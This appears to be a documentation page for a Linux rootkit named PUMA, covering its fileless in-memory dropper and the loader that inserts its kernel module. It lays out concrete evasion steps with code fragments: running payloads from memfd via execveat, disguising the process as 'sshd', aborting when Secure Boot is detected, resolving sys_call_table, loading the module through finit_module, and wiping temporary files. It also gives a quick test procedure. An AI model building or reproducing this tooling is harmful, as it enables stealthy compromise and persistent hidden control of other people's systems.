On this page
cloud_download
Fileless Dropper & Rootkit Loader
Stages 1 & 2: in-memory payload staging and LKM insertion
Stage 1: Fileless Memfd Dropper
We stage both loader and cron stub entirely in memory–no on-disk binaries.
- We callto get two anonymous file descriptors.
fd_loader = memfd_create("loader", MFD_CLOEXEC); fd_target = memfd_create("target", MFD_CLOEXEC);
- We
write()
our embedded ELF blobs into each fd. - We
fork()
:- Child: redirect stdout/stderr to
/dev/null
, thenexecveat(fd_loader, NULL, argv_loader, envp, AT_EMPTY_PATH);
- Parent:
waitpid()
, thenexecveat(fd_target, NULL, argv_target, envp, AT_EMPTY_PATH);
- Child: redirect stdout/stderr to
execveat(..., AT_EMPTY_PATH)
lets us execute a program by FD without any filename on disk.
Stage 2: Environment-Aware Loader
We verify Secure Boot is off, extract the kernel image, resolve symbols, and then insert our LKM.
- We rename our process to “sshd” via
prctl(PR_SET_NAME, "sshd", 0, 0, 0);
- We scan
dmesg
for “Secure boot” strings. If found, we abort. - We drop a helper script
/tmp/loader.sh
that:- Uses
file
+grep
to detect gzip/xz/bz2/lz4/zstd. - Runs
tail -c +<offset>
+ the right decompressor →/tmp/vmlinux
.
- Uses
- In
loader.c
, we open/tmp/vmlinux
and call:sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
- We load our kernel module by creating another memfd for
puma.ko
and calling:finit_module(fd_puma_ko, "", 0);
- Finally, we remove
/tmp/loader.sh
and/tmp/vmlinux
.
Code Locations
rootkit/dropper/dropper.c
rootkit/loader/loader.c
&rootkit/loader/loader.sh
Quick Test
./rootkit/dropper/cron
dmesg | grep "PUMA is compatible"
dmesg | grep "PUMA loaded"